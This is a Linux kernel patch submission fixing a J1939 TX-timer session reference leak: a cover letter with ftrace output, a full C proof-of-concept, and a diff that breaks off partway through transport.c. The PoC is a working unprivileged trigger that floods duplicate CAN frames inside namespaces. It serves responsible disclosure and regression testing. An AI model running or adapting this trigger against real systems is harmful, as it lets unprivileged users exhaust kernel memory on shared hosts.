[PATCH v2 0/1] can: j1939: fix session reference leak on TX timer restart

[PATCH v2 0/1] can: j1939: fix session reference leak on TX timer restart

[Zihan Xi]

Hi Linux kernel maintainers,

We found an issue in net/can/j1939/transport.c.
The bug is reachable by a user who can create user and network namespaces
and send CAN frames to a J1939 receiver.
The relevant details are provided below.

---- details below ----

This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)

Bug details:

The TX timer scheduler takes a session reference on every call. Restarting
an already queued hrtimer changes its expiry but does not create a second
callback to release another reference. Repeated terminal ETP DATA packets
can rearm the same timer before its callback runs, retaining the session,
its skb, and associated device state.

The v2 change serializes external TX timer start/cancel operations and uses
the synchronous cancellation result to decide whether a timer reference
can be reused. A callback that needs to retry explicitly rearms its timer
and transfers its reference to that queued timer. Terminal cancellation
prevents a callback from rearming after teardown. Scheduling a newly
activated session is moved outside the socket queue lock.

The baseline trace below records two starts of the same armed timer before
one callback. The second start reports was_armed=1:

             poc-389     [001] ..s1.   200.601373: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
             poc-390     [000] ..s1.   200.601375: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
             poc-389     [001] d.s2.   200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
             poc-390     [000] d.s2.   200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1
             poc-390     [000] ..s1.   200.601429: hrtimer_expire_entry: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer now=200464882582
             poc-390     [000] ..s1.   200.601430: txtimer_callback: (j1939_tp_txtimer+0x4/0xe70) timer=0xffffa3da4a2bc4b8

Changes in v2:
- Address the callback/cancellation races raised in review; remove the
  lockless hrtimer_is_queued() refcount decision.
- Rework callback rearming and move potentially blocking scheduling outside
  sk_session_queue_lock.
- Add the txtimer guarded_by annotation and enable J1939 context analysis.
- Remove Assisted-by; LLMs were used to help create this patch.

Link: https://lore.kernel.org/all/cover.1792979091.git.zihanx@nebusec.ai/

Reproducer:

The trigger uses raw CAN frames over namespace-local vxcan peers and a
concurrent duplicate-frame burst; packetdrill does not model this
CAN/J1939 device topology.

Compile the reproducer with:

    gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c

Run it as an unprivileged account with user/network namespace support:

    unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The PoC creates four 2 MiB ETP sessions and concurrently sends duplicate
terminal DATA packets over a vxcan pair.

------BEGIN PoC------


#define _GNU_SOURCE

#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif

#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100

#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700

#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14

#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U

struct params {
	const char *tx_ifname;
	const char *rx_ifname;
	uint32_t session_size;
	uint32_t sessions;
	uint32_t threads;
	uint32_t duplicates;
	bool verbose;
};

struct can_burst {
	struct can_frame *frames;
	struct mmsghdr *msgs;
	struct iovec *iovecs;
	unsigned int nframes;
};

struct worker_ctx {
	int fd;
	int cpu;
	struct can_burst burst;
};

static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;

static void die(const char *what);

static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
			   unsigned int flags)
{
	return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}

static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
				 unsigned int vlen, const char *what)
{
	unsigned int sent = 0;

	while (sent < vlen) {
		int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);

		if (ret < 0)
			die(what);
		if (!ret) {
			errno = EIO;
			die(what);
		}
		sent += ret;
	}

	return sent;
}

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
	int ret = pthread_barrier_wait(barrier);

	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		errno = ret;
		die(what);
	}
}

static unsigned int parse_u32(const char *arg, const char *what)
{
	char *endp;
	unsigned long value;

	errno = 0;
	value = strtoul(arg, &endp, 0);
	if (errno || *endp || value > UINT32_MAX) {
		fprintf(stderr, "invalid %s: %s\n", what, arg);
		exit(EXIT_FAILURE);
	}

	return (unsigned int)value;
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
		perror("pthread_setaffinity_np");
}

static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
	canid_t can_id;

	can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
	if (((pgn >> 8) & 0xff) < 240)
		can_id |= (canid_t)da << 8;

	return can_id;
}

static int ifindex_by_name(const char *ifname)
{
	unsigned int ifindex = if_nametoindex(ifname);

	if (!ifindex) {
		errno = ENODEV;
		die("if_nametoindex");
	}

	return (int)ifindex;
}

static int make_raw_socket(int ifindex)
{
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = ifindex,
	};
	int fd;
	int one = 1;

	fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
	if (fd < 0)
		die("socket(CAN_RAW)");

	if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
		       sizeof(one)) < 0)
		die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(CAN_RAW)");

	return fd;
}

static int make_j1939_listener(int ifindex)
{
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = ifindex,
		.can_addr.j1939 = {
			.name = 0,
			.pgn = J1939_NO_PGN,
			.addr = LOCAL_SA,
		},
	};
	int fd;

	fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (fd < 0)
		die("socket(CAN_J1939)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(CAN_J1939)");

	return fd;
}

static void send_frame(int fd, const struct can_frame *frame)
{
	ssize_t written = write(fd, frame, sizeof(*frame));

	if (written != (ssize_t)sizeof(*frame))
		die("write(can_frame)");
}

static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t size, uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_RTS;
	frame->data[1] = (size >> 0) & 0xff;
	frame->data[2] = (size >> 8) & 0xff;
	frame->data[3] = (size >> 16) & 0xff;
	frame->data[4] = (size >> 24) & 0xff;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_DPO;
	frame->data[1] = FIRST_BLOCK_PKTS;
	frame->data[2] = 0;
	frame->data[3] = 0;
	frame->data[4] = 0;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
			    uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_ABORT;
	frame->data[1] = 1;
	frame->data[2] = 0xff;
	frame->data[3] = 0xff;
	frame->data[4] = 0xff;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
	frame->len = 8;
	frame->data[0] = FIRST_BLOCK_PKTS;
	memset(&frame->data[1], 'Z', 7);
}

static void free_burst(struct can_burst *burst)
{
	free(burst->iovecs);
	free(burst->msgs);
	free(burst->frames);
	memset(burst, 0, sizeof(*burst));
}

static void drain_raw_rx(int fd)
{
	struct pollfd pfd = {
		.fd = fd,
		.events = POLLIN,
	};

	for (;;) {
		struct can_frame frame;
		int ret = poll(&pfd, 1, 0);

		if (ret <= 0)
			return;

		if (read(fd, &frame, sizeof(frame)) < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return;
			die("read(raw drain)");
		}
	}
}

static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t pgn, uint8_t cmd)
{
	uint32_t frame_pgn;
	uint8_t frame_sa;
	uint8_t frame_da = J1939_NO_ADDR;

	if (!(frame->can_id & CAN_EFF_FLAG))
		return false;

	frame_sa = frame->can_id & 0xff;
	frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
	if (((frame_pgn >> 8) & 0xff) < 240) {
		frame_da = frame_pgn & 0xff;
		frame_pgn &= J1939_PGN_PDU1_MAX;
	}

	return frame_sa == sa && frame_da == da &&
	       frame_pgn == pgn && frame->len >= 1 &&
	       frame->data[0] == cmd;
}

static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
			 bool verbose)
{
	struct pollfd pfd = {
		.fd = raw_fd,
		.events = POLLIN,
	};
	struct timespec start;

	if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
		die("clock_gettime");

	for (;;) {
		struct can_frame frame;
		struct timespec now;
		int elapsed_ms;
		int timeout_ms;
		int ret;

		if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
			die("clock_gettime");

		elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
				   (now.tv_nsec - start.tv_nsec) / 1000000);
		timeout_ms = 1000 - elapsed_ms;
		if (timeout_ms <= 0)
			return false;

		ret = poll(&pfd, 1, timeout_ms);
		if (ret < 0)
			die("poll(raw)");
		if (ret == 0)
			return false;

		if (!(pfd.revents & POLLIN))
			continue;

		if (read(raw_fd, &frame, sizeof(frame)) < 0)
			die("read(raw)");

		if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
				  J1939_ETP_CMD_CTS)) {
			if (verbose) {
				printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
				       app_pgn, remote_sa);
				fflush(stdout);
			}
			return true;
		}
	}
}

static void init_burst(struct can_burst *burst, unsigned int nframes)
{
	memset(burst, 0, sizeof(*burst));
	burst->nframes = nframes;
	burst->frames = calloc(nframes, sizeof(*burst->frames));
	burst->msgs = calloc(nframes, sizeof(*burst->msgs));
	burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
	if (!burst->frames || !burst->msgs || !burst->iovecs)
		die("calloc(burst)");
}

static void finalize_burst(struct can_burst *burst)
{
	unsigned int i;

	for (i = 0; i < burst->nframes; i++) {
		burst->iovecs[i].iov_base = &burst->frames[i];
		burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
		burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
		burst->msgs[i].msg_hdr.msg_iovlen = 1;
	}
}

static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
			       uint32_t app_pgn)
{
	unsigned int i;

	init_burst(burst, FIRST_BLOCK_PKTS);
	build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);

	for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
		memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
		burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
						      remote_sa, LOCAL_SA);
		burst->frames[i].len = 8;
		burst->frames[i].data[0] = i;
		memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
	}

	finalize_burst(burst);
}

static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
				 unsigned int duplicates)
{
	unsigned int i;

	free_burst(burst);
	init_burst(burst, duplicates);

	for (i = 0; i < duplicates; i++)
		build_etp_terminal_data(&burst->frames[i], remote_sa);

	finalize_burst(burst);
}

static void *worker_main(void *arg)
{
	struct worker_ctx *ctx = arg;

	pin_to_cpu(ctx->cpu);

	for (;;) {
		barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
		if (stop_workers)
			break;

		sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
			     "sendmmsg(worker)");

		barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
	}

	return NULL;
}

static void init_workers(struct worker_ctx *workers, pthread_t *tids,
			 int ifindex, unsigned int threads, int ncpus)
{
	unsigned int i;

	if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
		die("pthread_barrier_init(start)");
	if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
		die("pthread_barrier_init(done)");

	for (i = 0; i < threads; i++) {
		workers[i].fd = make_raw_socket(ifindex);
		workers[i].cpu = i % ncpus;
		if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
			die("pthread_create");
	}
}

static void join_workers(struct worker_ctx *workers, pthread_t *tids,
			 unsigned int threads)
{
	unsigned int i;

	stop_workers = 1;
	barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");

	for (i = 0; i < threads; i++) {
		if (pthread_join(tids[i], NULL))
			die("pthread_join");
		free_burst(&workers[i].burst);
		close(workers[i].fd);
	}

	pthread_barrier_destroy(&start_barrier);
	pthread_barrier_destroy(&done_barrier);
}

static void run_session(int raw_fd, struct worker_ctx *workers,
			uint32_t size, uint32_t threads, uint32_t duplicates,
			uint32_t session_idx, bool verbose)
{
	struct can_frame rts;
	struct can_frame abort;
	struct can_burst prefix = { 0 };
	uint8_t remote_sa;
	uint32_t app_pgn;
	unsigned int i;
	unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;

	remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
	app_pgn = APP_PGN_BASE + (session_idx % 0x100);

	build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
	send_frame(raw_fd, &rts);

	if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
		fprintf(stderr,
			"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
			session_idx, remote_sa, app_pgn, size);
		exit(EXIT_FAILURE);
	}

	build_prefix_burst(&prefix, remote_sa, app_pgn);
	/* Ensure the receiver processes DPO before the data packet burst. */
	send_frame(raw_fd, &prefix.frames[0]);
	usleep(1000);
	sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
		     "sendmmsg(prefix)");
	free_burst(&prefix);

	for (i = 0; i < threads; i++)
		build_terminal_burst(&workers[i].burst, remote_sa, duplicates);

	barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
	barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");

	build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
	send_frame(raw_fd, &abort);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
		prog);
	exit(EXIT_FAILURE);
}

int main(int argc, char **argv)
{
	struct params params = {
		.tx_ifname = "vcan0",
		.rx_ifname = "vcan0",
		.session_size = DEFAULT_SIZE,
		.sessions = DEFAULT_SESSIONS,
		.threads = DEFAULT_THREADS,
		.duplicates = DEFAULT_DUPLICATES,
		.verbose = false,
	};
	struct worker_ctx *workers;
	pthread_t *tids;
	int ifindex;
	int rx_ifindex;
	int raw_fd;
	int j1939_fd;
	int ncpus;
	unsigned int i;

	if (argc > 8)
		usage(argv[0]);

	if (argc >= 2)
		params.tx_ifname = argv[1];
	if (argc >= 3)
		params.rx_ifname = argv[2];
	if (argc >= 4)
		params.session_size = parse_u32(argv[3], "size");
	if (argc >= 5)
		params.sessions = parse_u32(argv[4], "sessions");
	if (argc >= 6)
		params.threads = parse_u32(argv[5], "threads");
	if (argc >= 7)
		params.duplicates = parse_u32(argv[6], "duplicates");
	if (argc >= 8)
		params.verbose = parse_u32(argv[7], "verbose") != 0;

	if (params.session_size <= 1785) {
		fprintf(stderr, "size must be > 1785 to force ETP\n");
		return EXIT_FAILURE;
	}
	if (!params.sessions || !params.threads || !params.duplicates)
		usage(argv[0]);

	ncpus = sysconf(_SC_NPROCESSORS_ONLN);
	if (ncpus < 1)
		die("sysconf(_SC_NPROCESSORS_ONLN)");

	workers = calloc(params.threads, sizeof(*workers));
	tids = calloc(params.threads, sizeof(*tids));
	if (!workers || !tids)
		die("calloc(workers)");

	ifindex = ifindex_by_name(params.tx_ifname);
	rx_ifindex = ifindex_by_name(params.rx_ifname);
	j1939_fd = make_j1939_listener(rx_ifindex);
	raw_fd = make_raw_socket(ifindex);
	init_workers(workers, tids, ifindex, params.threads, ncpus);

	printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
	       params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
	       params.session_size, params.sessions, params.threads,
	       params.duplicates);
	fflush(stdout);

	for (i = 0; i < params.sessions; i++) {
		drain_raw_rx(raw_fd);
		run_session(raw_fd, workers, params.session_size, params.threads,
			    params.duplicates, i, params.verbose);
		if ((i + 1) % 16 == 0 || params.verbose) {
			printf("completed %u sessions\n", i + 1);
			fflush(stdout);
		}
	}

	join_workers(workers, tids, params.threads);
	close(raw_fd);
	close(j1939_fd);
	free(tids);
	free(workers);

	return 0;
}

------END PoC--------

The same PoC completed four sessions on the v2 test kernel. The recorded
run had 14 TX timer scheduling calls, 12 callbacks, and four session
destructions. This is a runtime regression check; no crash was produced.

Best regards,
Zihan Xi

Zihan Xi (1):
  can: j1939: fix session reference leak on TX timer restart

 net/can/j1939/Makefile     |   2 +
 net/can/j1939/j1939-priv.h |   7 ++-
 net/can/j1939/socket.c     |  59 ++++++++++++----------
 net/can/j1939/transport.c  | 100 ++++++++++++++++++++++++++++---------
 4 files changed, 118 insertions(+), 50 deletions(-)

-- 
2.43.0

[PATCH v2 1/1] can: j1939: fix session reference leak on TX timer restart

[Zihan Xi]

Rearming an active hrtimer only updates its expiry. Taking an additional
session reference on every start can therefore leak sessions.

Serialize TX timer starts and cancellations, reusing the timer reference
when replacing a queued timer. The callback transfers its reference when
it requeues itself, and terminal cancellation prevents a racing callback
from rearming the timer. Schedule a newly activated session after dropping
the socket queue lock so waiting for a callback cannot deadlock activation.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Link: https://lore.kernel.org/all/cover.1792979091.git.zihanx@nebusec.ai/
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 net/can/j1939/Makefile     |   2 +
 net/can/j1939/j1939-priv.h |   7 ++-
 net/can/j1939/socket.c     |  59 ++++++++++++----------
 net/can/j1939/transport.c  | 100 ++++++++++++++++++++++++++++---------
 4 files changed, 118 insertions(+), 50 deletions(-)

diff --git a/net/can/j1939/Makefile b/net/can/j1939/Makefile
index 19181bdae173..113595c25730 100644
--- a/net/can/j1939/Makefile
+++ b/net/can/j1939/Makefile
@@ -1,5 +1,7 @@
 # SPDX-License-Identifier: GPL-2.0
 
+CONTEXT_ANALYSIS := y
+
 obj-$(CONFIG_CAN_J1939) += can-j1939.o
 
 can-j1939-objs := \
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..8d00eb800d47 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
 #define _J1939_PRIV_H_
 
 #include <linux/can/j1939.h>
+#include <linux/spinlock.h>
 #include <net/sock.h>
 
 /* Timeout to receive the abort signal over loop back. In case CAN
@@ -289,7 +290,11 @@ struct j1939_session {
 		/* dpo - ETP.CM_DPO, Data Packet Offset */
 		unsigned int dpo;
 	} pkt;
-	struct hrtimer txtimer, rxtimer;
+	/* Protects TX timer rearming and cancellation. */
+	spinlock_t txtimer_lock;
+	struct hrtimer txtimer __guarded_by(&txtimer_lock);
+	struct hrtimer rxtimer;
+	bool txtimer_shutdown;
 };
 
 struct j1939_sock {
diff --git a/net/can/j1939/socket.c b/net/can/j1939/socket.c
index 50a598ef5fd4..153b34ea523a 100644
--- a/net/can/j1939/socket.c
+++ b/net/can/j1939/socket.c
@@ -147,7 +147,9 @@ static void j1939_sk_queue_drop_all(struct j1939_priv *priv,
 	spin_unlock_bh(&jsk->sk_session_queue_lock);
 }
 
-static void j1939_sk_queue_activate_next_locked(struct j1939_session *session)
+static struct j1939_session *
+j1939_sk_queue_activate_next_locked(struct j1939_session *session,
+				    int *txtimer_delay)
 {
 	struct j1939_sock *jsk;
 	struct j1939_session *first;
@@ -155,7 +157,7 @@ static void j1939_sk_queue_activate_next_locked(struct j1939_session *session)
 
 	/* RX-Session don't have a socket (yet) */
 	if (!session->sk)
-		return;
+		return NULL;
 
 	jsk = j1939_sk(session->sk);
 	lockdep_assert_held(&jsk->sk_session_queue_lock);
@@ -168,37 +170,39 @@ static void j1939_sk_queue_activate_next_locked(struct j1939_session *session)
 
 	/* Some else has already activated the next session */
 	if (first != session)
-		return;
+		return NULL;
 
-activate_next:
-	list_del_init(&first->sk_session_queue_entry);
-	j1939_session_put(first);
-	first = list_first_entry_or_null(&jsk->sk_session_queue,
-					 struct j1939_session,
-					 sk_session_queue_entry);
-	if (!first)
-		return;
+	while (first) {
+		list_del_init(&first->sk_session_queue_entry);
+		j1939_session_put(first);
+		first = list_first_entry_or_null(&jsk->sk_session_queue,
+						 struct j1939_session,
+						 sk_session_queue_entry);
+		if (!first)
+			return NULL;
+
+		if (j1939_session_activate(first)) {
+			netdev_warn_once(first->priv->ndev,
+					 "%s: 0x%p: Identical session is already activated.\n",
+					 __func__, first);
+			first->err = -EBUSY;
+			continue;
+		}
 
-	if (j1939_session_activate(first)) {
-		netdev_warn_once(first->priv->ndev,
-				 "%s: 0x%p: Identical session is already activated.\n",
-				 __func__, first);
-		first->err = -EBUSY;
-		goto activate_next;
-	} else {
 		/* Give receiver some time (arbitrary chosen) to recover */
-		int time_ms = 0;
-
-		if (err)
-			time_ms = 10 + get_random_u32_below(16);
-
-		j1939_tp_schedule_txtimer(first, time_ms);
+		*txtimer_delay = err ? 10 + get_random_u32_below(16) : 0;
+		j1939_session_get(first);
+		return first;
 	}
+
+	return NULL;
 }
 
 void j1939_sk_queue_activate_next(struct j1939_session *session)
 {
+	struct j1939_session *next;
 	struct j1939_sock *jsk;
+	int txtimer_delay;
 
 	if (!session->sk)
 		return;
@@ -206,8 +210,13 @@ void j1939_sk_queue_activate_next(struct j1939_session *session)
 	jsk = j1939_sk(session->sk);
 
 	spin_lock_bh(&jsk->sk_session_queue_lock);
-	j1939_sk_queue_activate_next_locked(session);
+	next = j1939_sk_queue_activate_next_locked(session, &txtimer_delay);
 	spin_unlock_bh(&jsk->sk_session_queue_lock);
+
+	if (next) {
+		j1939_tp_schedule_txtimer(next, txtimer_delay);
+		j1939_session_put(next);
+	}
 }
 
 static bool j1939_sk_match_dst(struct j1939_sock *jsk,
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..4a2e986023d8 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -9,6 +9,7 @@
 //                         Oleksij Rempel <kernel@pengutronix.de>
 
 #include <linux/can/skb.h>
+#include <linux/cleanup.h>
 #include <net/can.h>
 
 #include "j1939-priv.h"
@@ -303,7 +304,13 @@ void j1939_session_put(struct j1939_session *session)
 
 static void j1939_session_txtimer_cancel(struct j1939_session *session)
 {
-	if (hrtimer_cancel(&session->txtimer))
+	int ret;
+
+	spin_lock_bh(&session->txtimer_lock);
+	ret = hrtimer_cancel(&session->txtimer);
+	spin_unlock_bh(&session->txtimer_lock);
+
+	if (ret)
 		j1939_session_put(session);
 }
 
@@ -315,6 +322,7 @@ static void j1939_session_rxtimer_cancel(struct j1939_session *session)
 
 void j1939_session_timers_cancel(struct j1939_session *session)
 {
+	WRITE_ONCE(session->txtimer_shutdown, true);
 	j1939_session_txtimer_cancel(session);
 	j1939_session_rxtimer_cancel(session);
 }
@@ -716,9 +724,27 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
 
 void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
 {
-	j1939_session_get(session);
+	int ret;
+
+	spin_lock_bh(&session->txtimer_lock);
+	if (READ_ONCE(session->txtimer_shutdown))
+		goto out_unlock;
+
+	/* Reuse the timer reference when cancelling a queued timer. */
+	ret = hrtimer_cancel(&session->txtimer);
+	if (READ_ONCE(session->txtimer_shutdown)) {
+		spin_unlock_bh(&session->txtimer_lock);
+		if (ret)
+			j1939_session_put(session);
+		return;
+	}
+	if (!ret)
+		j1939_session_get(session);
 	hrtimer_start(&session->txtimer, ms_to_ktime(msec),
 		      HRTIMER_MODE_REL_SOFT);
+
+out_unlock:
+	spin_unlock_bh(&session->txtimer_lock);
 }
 
 static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
@@ -730,7 +756,8 @@ static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
 		      HRTIMER_MODE_REL_SOFT);
 }
 
-static int j1939_session_tx_rts(struct j1939_session *session)
+static int j1939_session_tx_rts(struct j1939_session *session,
+				unsigned int *txtimer_delay)
 {
 	u8 dat[8];
 	int ret;
@@ -766,7 +793,7 @@ static int j1939_session_tx_rts(struct j1939_session *session)
 
 	session->last_txcmd = dat[0];
 	if (dat[0] == J1939_TP_CMD_BAM) {
-		j1939_tp_schedule_txtimer(session, 50);
+		*txtimer_delay = 50;
 		j1939_tp_set_rxtimeout(session, 250);
 	} else {
 		j1939_tp_set_rxtimeout(session, 1250);
@@ -806,7 +833,8 @@ static int j1939_session_tx_dpo(struct j1939_session *session)
 	return 0;
 }
 
-static int j1939_session_tx_dat(struct j1939_session *session)
+static int j1939_session_tx_dat(struct j1939_session *session,
+				unsigned int *txtimer_delay)
 {
 	struct j1939_priv *priv = session->priv;
 	struct j1939_sk_buff_cb *se_skcb;
@@ -870,7 +898,7 @@ static int j1939_session_tx_dat(struct j1939_session *session)
 			j1939_tp_packet_delay;
 
 		if (session->pkt.tx < session->pkt.total && pdelay) {
-			j1939_tp_schedule_txtimer(session, pdelay);
+			*txtimer_delay = pdelay;
 			break;
 		}
 	}
@@ -887,7 +915,8 @@ static int j1939_session_tx_dat(struct j1939_session *session)
 	return ret;
 }
 
-static int j1939_xtp_txnext_transmiter(struct j1939_session *session)
+static int j1939_xtp_txnext_transmiter(struct j1939_session *session,
+				       unsigned int *txtimer_delay)
 {
 	struct j1939_priv *priv = session->priv;
 	int ret = 0;
@@ -900,7 +929,7 @@ static int j1939_xtp_txnext_transmiter(struct j1939_session *session)
 
 	switch (session->last_cmd) {
 	case 0:
-		ret = j1939_session_tx_rts(session);
+		ret = j1939_session_tx_rts(session, txtimer_delay);
 		break;
 
 	case J1939_ETP_CMD_CTS:
@@ -915,7 +944,7 @@ static int j1939_xtp_txnext_transmiter(struct j1939_session *session)
 	case 0xff: /* did some data */
 	case J1939_ETP_CMD_DPO:
 	case J1939_TP_CMD_BAM:
-		ret = j1939_session_tx_dat(session);
+		ret = j1939_session_tx_dat(session, txtimer_delay);
 
 		break;
 	default:
@@ -1180,13 +1209,14 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
 	struct j1939_session *session =
 		container_of(hrtimer, struct j1939_session, txtimer);
 	struct j1939_priv *priv = session->priv;
+	unsigned int txtimer_delay = 0;
 	int ret = 0;
 
 	if (session->skcb.addr.type == J1939_SIMPLE) {
 		ret = j1939_simple_txnext(session);
 	} else {
 		if (session->transmission)
-			ret = j1939_xtp_txnext_transmiter(session);
